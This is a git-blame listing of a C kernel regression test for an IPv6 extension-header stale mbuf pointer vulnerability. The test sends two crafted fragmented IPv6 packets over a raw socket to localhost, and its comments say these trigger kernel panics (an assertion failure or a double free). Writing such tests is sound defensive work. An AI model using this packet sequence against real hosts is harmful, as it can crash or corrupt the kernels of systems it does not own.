]>
Commit | Line | Data |
---|---|---|
eb6b6ca3 A |
1 | #include <errno.h> |
2 | #include <stdio.h> | |
3 | #include <string.h> | |
4 | #include <stdlib.h> | |
5 | #include <unistd.h> | |
6 | #include <arpa/inet.h> | |
7 | #include <net/if_var.h> | |
8 | #include <netinet/ip6.h> | |
9 | #include <darwintest.h> | |
10 | ||
11 | struct packet1 { | |
12 | struct ip6_hbh hbh; | |
13 | struct ip6_opt hbh_opt; | |
14 | uint8_t hbh_pad[4]; | |
15 | struct ip6_frag frag; | |
16 | struct ip6_dest dest; | |
17 | struct ip6_opt dest_opt; | |
18 | uint8_t dest_pad[4]; | |
19 | }; | |
20 | ||
21 | struct packet2 { | |
22 | struct ip6_hbh hbh; | |
23 | struct ip6_opt hbh_opt; | |
24 | uint8_t hbh_pad[4]; | |
25 | struct ip6_frag frag; | |
26 | struct ip6_opt dest_opt; | |
27 | uint8_t dest_pad[6]; | |
28 | uint8_t payload[16]; | |
29 | }; | |
30 | ||
31 | T_DECL(IP6_EXTHDR_CHECK_ICMPV6_61873584, "ICMPv6 test for IP6_EXTHDR_CHECK stale mbuf pointer vulnerability", T_META("as_root", "true")) | |
32 | { | |
33 | struct sockaddr_in6 daddr; | |
34 | struct packet1 packet1; | |
35 | struct packet2 packet2; | |
36 | int s, id, res; | |
37 | ||
38 | srand(time(NULL)); | |
39 | id = rand(); | |
40 | ||
41 | T_SETUPBEGIN; | |
42 | T_ASSERT_POSIX_SUCCESS(s = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS), NULL); | |
43 | T_SETUPEND; | |
44 | ||
45 | memset(&daddr, 0, sizeof(daddr)); | |
46 | daddr.sin6_family = AF_INET6; | |
47 | daddr.sin6_port = 0; | |
48 | inet_pton(AF_INET6, "::1", &daddr.sin6_addr); | |
49 | ||
50 | memset(&packet1, 'A', sizeof(struct packet1)); | |
51 | packet1.hbh.ip6h_nxt = IPPROTO_FRAGMENT; | |
52 | packet1.hbh.ip6h_len = 0; | |
53 | packet1.hbh_opt.ip6o_type = IP6OPT_PADN; | |
54 | packet1.hbh_opt.ip6o_len = 4; | |
55 | packet1.frag.ip6f_nxt = IPPROTO_DSTOPTS; | |
56 | packet1.frag.ip6f_reserved = 0; | |
57 | packet1.frag.ip6f_offlg = htons(0) | IP6F_MORE_FRAG; | |
58 | packet1.frag.ip6f_ident = id; | |
59 | // Use IPPROTO_RAW for "assertion failed: m->m_flags & M_PKTHDR" panic | |
60 | // Use IPPROTO_ICMPV6 for "m_free: freeing an already freed mbuf" panic | |
61 | packet1.dest.ip6d_nxt = IPPROTO_RAW; | |
62 | packet1.dest.ip6d_len = 1; | |
63 | packet1.dest_opt.ip6o_type = IP6OPT_PADN; | |
64 | packet1.dest_opt.ip6o_len = 4; | |
65 | ||
66 | memset(&packet2, 'B', sizeof(struct packet2)); | |
67 | packet2.hbh.ip6h_nxt = IPPROTO_FRAGMENT; | |
68 | packet2.hbh.ip6h_len = 0; | |
69 | packet2.hbh_opt.ip6o_type = IP6OPT_PADN; | |
70 | packet2.hbh_opt.ip6o_len = 4; | |
71 | packet2.frag.ip6f_nxt = IPPROTO_DSTOPTS; | |
72 | packet2.frag.ip6f_reserved = 0; | |
73 | packet2.frag.ip6f_offlg = htons(8); | |
74 | packet2.frag.ip6f_ident = id; | |
75 | packet2.dest_opt.ip6o_type = IP6OPT_PADN; | |
76 | packet2.dest_opt.ip6o_len = 6; | |
77 | ||
78 | T_ASSERT_POSIX_SUCCESS(res = sendto(s, (char *)&packet1, sizeof(packet1), 0, | |
79 | (struct sockaddr *)&daddr, (socklen_t)sizeof(daddr)), NULL); | |
80 | T_ASSERT_POSIX_SUCCESS(res = sendto(s, (char *)&packet2, sizeof(packet2), 0, | |
81 | (struct sockaddr *)&daddr, (socklen_t)sizeof(daddr)), NULL); | |
82 | T_ASSERT_POSIX_SUCCESS(res = close(s), NULL); | |
83 | } |